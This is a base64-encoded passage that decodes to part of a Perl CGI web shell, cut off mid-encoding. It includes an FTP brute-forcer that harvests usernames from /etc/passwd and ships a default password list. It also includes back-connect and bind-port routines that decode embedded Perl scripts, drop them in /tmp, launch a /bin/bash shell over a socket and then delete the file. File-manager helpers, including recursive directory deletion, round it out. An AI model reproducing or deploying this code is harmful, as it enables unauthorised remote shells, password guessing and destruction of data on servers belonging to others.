dWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNzOjxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwoxMjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dvcmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcKNjc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAjCiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91CjwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoJHVzZXJuYW1lIG5lICIiKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjEyIiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9InZpbmFraWQiPjwvdGQ+Cgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLgoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgU29ja2V0OwkKCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsKCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7CgoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsKCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsKCWlmKCRDbGllbnRQb3J0IGVxIDApCgl7CgkJcmV0dXJuICZCYWNrQmluZEZvcm07Cgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsKCQlpZigtdyAiL3RtcC8iKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfWVsc2UKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7CgkJaWYoLXcgIi90bXAiKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUm1EaXIoJCkgCnsKCW15ICRkaXIgPSBzaGlmdDsKCWlmKG9wZW5kaXIoRElSLCRkaXIpKQoJewoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCXsKCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQoJCQl7CgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsKCQkJCWlmKC1kICRmaWxlKQoJCQkJewoJCQkJCSZSbURpcigkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJdW5saW5rKCRmaWxlKTsKCQkJCX0KCQkJfQoJCX0KCQljbG9zZWRpcihESVIpOwoJfQp9CnN1YiBGaWxlT3duZXIoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOwoJCWlmKCRXaW5OVCkKCQl7CgkJCXJldHVybiAiPz8/IjsKCQl9CgkJZWxzZQoJCXsKCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7CgkJCSRncm91cD1nZXRncmdpZCgkZ2lkKTsKCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7CgkJfQoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBQYXJlbnRGb2xkZXIoJCkKewoJbXkgJHBhdGggPSBzaGlmdDsKCW15ICRDb21tID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgLi4iLiRDbWRTZXAuJENtZFB3ZDsKCWNob3AoJHBhdGggPSBgJENvbW1gKTsKCXJldHVybiAkcGF0aDsKfQpzdWIgRmlsZVBlcm1zKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkdXIgPSAiLSI7CglteSAkdXcgPSAiLSI7CglpZigtZSAkZmlsZSkKCXsKCQlpZigkV2luTlQpCgkJewoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQoJCQlyZXR1cm4gJHVyIC4gIiAvICIgLiAkdXc7CgkJfWVsc2UKCQl7CgkJCSRtb2RlPShzdGF0KCRmaWxlKSlbMl07CgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7CgkJCXJldHVybiAkcmVzdWx0OwoJCX0KCX0KCXJldHVybiAiMDAwMCI7Cn0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkbGEpID0gKHN0YXQoJGZpbGUpKVs5XTsKCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOwoJCSR5ID0gJHkgKyAxOTAwOwoJCUBtb250aCA9IHF3LzEgMiAzIDQgNSA2IDcgOCA5IDEwIDExIDEyLzsKCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsKCQlyZXR1cm4gJGxtdGltZTsKCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgRmlsZVNpemUoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1mICRmaWxlKQoJewoJCXJldHVybiAtcyAiJGZpbGUiOwoJfQoJcmV0dXJuICIwIjsKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgVHJpbVNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOwoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOwoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7CglpZigtZCAkcGF0aCkKCXsKCQlteSBAZm5hbWUgPSAoKTsKCQlteSBAZG5hbWUgPSAoKTsKCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpCgkJewoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQkJewoJCQkJJGY9JHBhdGguJGZpbGU7CgkJCQlpZigtZCAkZikKCQkJCXsKCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOwoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKERJUik7CgkJfQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsKCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7CgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPgoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPkZpbGUgU2l6ZTwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPkxhc3QgTW9kaWZpZWQ8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsKCQlteSAkc3R5bGU9Im5vdGxpbmUiOwoJCW15ICRpPTA7CgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGQgPSAmdHJpbSgkZCk7CgkJCSRkaXJuYW1lPSRkOwoJCQlpZigkZCBlcSAiLi4iKSAKCQkJewoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsKCQkJfQoJCQllbHNpZigkZCBlcSAiLiIpIAoJCQl7CgkJCQluZXh0OwoJCQl9CgkJCWVsc2UgCgkJCXsKCQkJCSRkID0gJHBhdGguJGQ7CgkJCX0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgY2xhc3M9J2Rpcic+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkZCkuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLi